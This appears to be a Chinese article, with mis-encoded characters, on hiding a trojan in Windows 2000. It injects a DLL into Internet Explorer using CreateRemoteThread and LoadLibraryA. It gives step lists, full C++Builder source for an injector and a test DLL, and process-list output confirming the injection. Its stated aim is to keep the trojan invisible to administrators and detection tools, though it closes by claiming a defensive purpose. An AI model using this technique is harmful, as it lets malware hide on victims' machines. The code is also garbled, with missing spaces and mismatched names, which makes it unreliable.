T/2000下正常情況用戶進(jìn)程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進(jìn)程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見你的進(jìn)程;第二是不使用進(jìn)程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠(yuǎn)程進(jìn)程之中,遠(yuǎn)程進(jìn)程則是合法的用戶程序,這樣用戶管理者看到的只是合法進(jìn)程,而無法發(fā)現(xiàn)木馬線程的存在,從而達(dá)到隱藏的目的。

2實現(xiàn)方法

為了弄清實現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是DynamicLinkLibrary(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎(chǔ),因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構(gòu)成,它并不能獨立運行,一般都是由進(jìn)程加載并調(diào)用的。因為DLL文件不能獨立運行,所以在進(jìn)程列表中并不會出現(xiàn)DLL,假設(shè)我們編寫了一個木馬DLL,并且通過別的進(jìn)程來運行它,那么無論是入侵檢測軟件還是進(jìn)程列表中,都只會出現(xiàn)那個進(jìn)程而并不會出現(xiàn)木馬DLL,如果那個進(jìn)程是可信進(jìn)程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進(jìn)程的一部分,也將成為被信賴的一員,也就達(dá)到了隱藏的目的。

運行DLL方法有多種,但其中最隱蔽的方法是采用動態(tài)嵌入技術(shù),動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運行的進(jìn)程中的技術(shù)。理論上來說,在Windows中的每個進(jìn)程都有自己的私有內(nèi)存空間,別的進(jìn)程是不允許對這個私有空間進(jìn)行操作的,但是實際上,我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。動態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠(yuǎn)程線程等,這里介紹一下遠(yuǎn)程線程技術(shù),它只要有基本的進(jìn)線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。

遠(yuǎn)程線程技術(shù)指的是通過在另一個進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程)的地址空間,所以,實際上,我們通過一個遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。

3實施步驟

1)用Process32Next()函數(shù)找到宿主進(jìn)程,獲取宿主進(jìn)程ID,并用

OpenProcess()函數(shù)打開宿主進(jìn)程。

2)用VirtualAllocEx()函數(shù)分配遠(yuǎn)程進(jìn)程地址空間中的

內(nèi)存。

3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。

4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。

5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實地址(在kernel32.dll中)。

6)用CreateRemoteThread()函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個線程。

7)它調(diào)用正確的LoadlibraryA()函數(shù)。

8)為它傳遞步驟二中分配的內(nèi)存地址。

4具體實例

下面是在C++Builder4.0環(huán)境下編寫的運用遠(yuǎn)程線程技術(shù)隱藏木馬的程序代碼:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進(jìn)程操作的API函數(shù)

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進(jìn)程快照句柄

HANDLEhRemoteProcess;//遠(yuǎn)程進(jìn)程句柄

LPVOIDpszLibFileRemote;//遠(yuǎn)程進(jìn)程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠(yuǎn)程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開進(jìn)程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個進(jìn)程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進(jìn)程,以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個進(jìn)程

}

else

{

MessageBox(NULL,"取第一個進(jìn)程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開遠(yuǎn)程進(jìn)程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設(shè)hide.dll是待隱藏的進(jìn)程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫入申請的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動態(tài)鏈接庫函數(shù)地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創(chuàng)建遠(yuǎn)程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關(guān)閉遠(yuǎn)程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關(guān)閉進(jìn)程快照

}

該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

至此,遠(yuǎn)程嵌入順利完成,為了試驗我們的hide.dll是不是已經(jīng)正常地在遠(yuǎn)程線程運行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當(dāng)前進(jìn)程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當(dāng)使用RmtDll.exe程序?qū)⑦@個hide.dll嵌入IEXPLORE.EXE進(jìn)程后假設(shè)PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,同時使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經(jīng)在IEXPLORE.EXE進(jìn)程內(nèi)正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。

5結(jié)束語

進(jìn)程隱藏技術(shù)和方法有很多,而且這一技術(shù)發(fā)展也相當(dāng)快,本文僅從一個側(cè)面加以討論,希望通過這一探討讓我們對進(jìn)程隱藏技術(shù)有一個更清楚的認(rèn)識,同時也為我們防范他人利用進(jìn)程隱藏手段非法入侵提供參考,本文拋磚引玉,不當(dāng)之處誠懇批評指正。